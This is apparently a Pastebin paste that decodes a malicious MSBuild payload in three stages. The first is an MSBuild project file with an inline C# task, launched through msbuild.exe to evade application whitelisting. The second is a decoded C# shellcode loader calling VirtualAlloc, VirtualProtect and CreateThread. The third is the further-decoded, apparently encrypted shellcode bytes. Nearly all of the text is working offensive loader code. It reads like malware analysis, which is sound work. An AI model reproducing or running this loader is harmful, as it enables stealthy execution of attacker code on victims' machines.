Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1# decode
- ----------------------------
- <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <!-- This inline task executes c# code. -->
- <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe nps.xml -->
- <!-- Original MSBuild Author: Casey Smith, Twitter: @subTee -->
- <!-- NPS Created By: Ben Ten, Twitter: @ben0xa -->
- <!-- Created C# payload: Franci Sacer, Twitter: @francisacer1 -->
- <!-- License: BSD 3-Clause -->
- <Target Name="npscsharp">
- <nps />
- </Target>
- <UsingTask
- TaskName="nps"
- TaskFactory="CodeTaskFactory"
- AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
- <Task>
- <Code Type="Class" Language="cs">
- <![CDATA[
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Runtime.InteropServices;
- using System.Collections.ObjectModel;
- using Microsoft.Build.Framework;
- using Microsoft.Build.Utilities;
- using Microsoft.CSharp;
- using System.CodeDom.Compiler;
- using System.Reflection;
- public class nps : Task, ITask
- {
- public override bool Execute()
- {
- Console.WriteLine("hey");
- string cmd = "CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOwp1c2luZyBTeXN0ZW0uVGV4dDsKcHVibGljIGNsYXNzIENsYXNzRXhhbXBsZQp7CiAgICBwcml2YXRlIHN0YXRpYyBVSW50MzIgTUVNX0NPTU1JVCA9IDB4MTAwMDsKICAgIHByaXZhdGUgc3RhdGljIFVJbnQzMiBQQUdFX1JFQURXUklURSA9IDB4MDQ7CiAgICBwcml2YXRlIHN0YXRpYyBVSW50MzIgUEFHRV9FWEVDVVRFX1JFQUQgPSAweDIwOwogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBVSW50MzIgVmlydHVhbEFsbG9jKFVJbnQzMiBscFN0YXJ0QWRkciwgVUludDMyIHNpemUsIFVJbnQzMiBmbEFsbG9jYXRpb25UeXBlLCBVSW50MzIgZmxQcm90ZWN0KTsKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBWaXJ0dWFsUHJvdGVjdChJbnRQdHIgYWRkcmVzcywgVUludDMyIHNpemUsIFVJbnQzMiBuZXdQcm90ZWN0LCBvdXQgVUludDMyIG9sZFByb3RlY3QpOwogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKAogICAgICAgIFVJbnQzMiBscFRocmVhZEF0dHJpYnV0ZXMsCiAgICAgICAgVUludDMyIGR3U3RhY2tTaXplLAogICAgICAgIFVJbnQzMiBscFN0YXJ0QWRkcmVzcywKICAgICAgICBJbnRQdHIgcGFyYW0sCiAgICAgICAgVUludDMyIGR3Q3JlYXRpb25GbGFncywKICAgICAgICByZWYgVUludDMyIGxwVGhyZWFkSWQKICAgICk7CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIFVJbnQzMiBXYWl0Rm9yU2luZ2xlT2JqZWN0KEludFB0ciBoSGFuZGxlLCBVSW50MzIgZHdNaWxsaXNlY29uZHMpOwogICAgcHVibGljIHZvaWQgRXhlY3V0ZSgpIHsKICAgICAgICBzdHJpbmcgcmF3ID0gQCJIbjhPYVEwMk1YWStjamdsTXpFYkNRRkpLanBZQVM1MEpVWTVZaU1CRkQwUVBnVk5BVXNxSW54VEpFb2NNRFlQSmw4SEVTMDNkU3dwR3djSFZWVmVhaHBEQkdRaWZ3UTFDaFVGTXdGSUlYbFpVeVVKR0RZNFpqSi9CRDhkSFRrN0lUa3JHVmxUQ3drY01odFBTQUlEUmpNakJUVWxHeWNQUzBkVlNnMFVFd05UZmloR0cyZCtWaWRMVXlaVlZTVmdKVVlYWENaU1Boc3pJelV1QVVrRUxuQlVLSFVPUGdOMVYzOGNNeEFYSHdBL1NpVVhabHd2Rm5neEdGRXdXUU1sYkEwSlRVZFhXaWxRZDFKVktEWXlXQU1FSEFNN0FoOE5QREFBSUhNZlNHOEJFd1JqTWdjK0lnOS9La2twT1NJTVpXZGVEeTBnQ0VRK1pVaEhGajRNQlNNK0J6MVRYVFZQS0VROVVETmFJUkVVUFhrYUp3RWhHRkpkQzFJV0lFVUhLMHdUQXhjUVBnVUxGanA3ZkdRaVRBRTBHMUFGY1J3RUFBY1BLakl2TFQ5VFJ5VldBeHNxQWhjWlh5QVBaUU1US1VrdEdWQjJCSHdOTmpSWURuYzFOeHNYZERnd0FpRUFmSFVYVmhnaUIwODlmaVVQT0FKMEN6d3VFenAvWGoxWEFRMGNmRE5pT2dFTE9SdFRKUk5hZkdNRElWOFZSQUJGTXdZVVF3aG5Gd2tKUHlwOGYzWXBEUjhjR0hBd1dENDZPQk1BRlF3OVVnTmplQXQxS0JrWVlEVllHMFEvQVNFTURSTXRHbFYySlU4dEdoeDlLbUkyUHdnNEtTZ0pBaWw1VTJVdGFoWXlISDRGY1RvY0R6OTBDajhXRXdoU0FROU1LQ0lxZkFOK05pUUFaQUJTQzBnbENXVmxFMGd2R3paWUExMG1RQlFTSVRRTEZEa0ZZM1VUYnhZeU9tTTBjejVIRFFJZ
- ------------------------------------
- 2# decode
- ------------------------------------
- using System;
- using System.Runtime.InteropServices;
- using System.Text;
- public class ClassExample
- {
- private static UInt32 MEM_COMMIT = 0x1000;
- private static UInt32 PAGE_READWRITE = 0x04;
- private static UInt32 PAGE_EXECUTE_READ = 0x20;
- [DllImport("kernel32")]
- private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
- [DllImport("kernel32")]
- private static extern bool VirtualProtect(IntPtr address, UInt32 size, UInt32 newProtect, out UInt32 oldProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(
- UInt32 lpThreadAttributes,
- UInt32 dwStackSize,
- UInt32 lpStartAddress,
- IntPtr param,
- UInt32 dwCreationFlags,
- ref UInt32 lpThreadId
- );
- [DllImport("kernel32")]
- private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
- public void Execute() {
- string raw = @"Hn8OaQ02MXY+cjglMzEbCQFJKjpYAS50JUY5YiMBFD0QPgVNAUsqInxTJEocMDYPJl8HES03dSwpGwcHVVVeahpDBGQifwQ1ChUFMwFIIXlZUyUJGDY4ZjJ/BD8dHTk7ITkrGVlTCwkcMhtPSAIDRjMjBTUlGycPS0dVSg0UEwNTfihGG2d+VidLUyZVVSVgJUYXXCZSPhszIzUuAUkELnBUKHUOPgN1V38cMxAXHwA/SiUXZlwvFngxGFEwWQMlbA0JTUdXWilQd1JVKDYyWAMEHAM7Ah8NPDAAIHMfSG8BEwRjMgc+Ig9/KkkpOSIMZWdeDy0gCEQ+ZUhHFj4MBSM+Bz1TXTVPKEQ9UDNaIREUPXkaJwEhGFJdC1IWIEUHK0wTAxcQPgULFjp7fGQiTAE0G1AFcRwEAAcPKjIvLT9TRyVWAxsqAhcZXyAPZQMTKUktGVB2BHwNNjRYDnc1NxsXdDgwAiEAfHUXVhgiB089fiUPOAJ0CzwuEzp/Xj1XAQ0cfDNiOgELORtTJRNafGMDIV8VRABFMwYUQwhnFwkJPyp8f3YpDR8cGHAwWD46OBMAFQw9UgNjeAt1KBkYYDVYG0Q/ASEMDRMtGlV2JU8tGhx9KmI2Pwg4KSgJAil5U2UtahYyHH4FcTocDz90Cj8WEwhSAQ9MKCIqfAN+NiQAZABSC0glCWVlE0gvGzZYA10mQBQSITQLFDkFY3UTbxYyOmM0cz5HDQI
- -------------------------------------
- 3# decode
- -------------------------------------
- i
- 61v>r8%31 I*:X.t%F9b#=>MK*"|S$J06&_-7u,)UU^jCd"5
- 3H!yYS% 68f2?9;!9+YS 2OHF3#5%'KGUJ
- S~(Fg~V'KS&UU%`%F\&R>3#5.I.pT(u>uW3?J%f\/x1Q0Y%l
- MGWZ)PwRU(62X;
- <0 sHoc2>"*I)9"eg^- D>eHG>#>=S]5O(D=P3Z!=y'!R]R E+L>:{|d"L4Pq*2/-?SG%V*_ e)I-Pv|
- 64Xw57t80!|uV"O=~%8t<.:^=W
- |3b:9S%Z|c!_DE3Cg ?*|v)
- p0X>:8=Rcxu(`5XD?!
- -Uv%O-}*b6?8)( )ySe-j2~q:?t
- ?RL("*|~6$dRH% eeH/6X]&@!49cuo2:c4s>G
Add Comment
Please, Sign In to add comment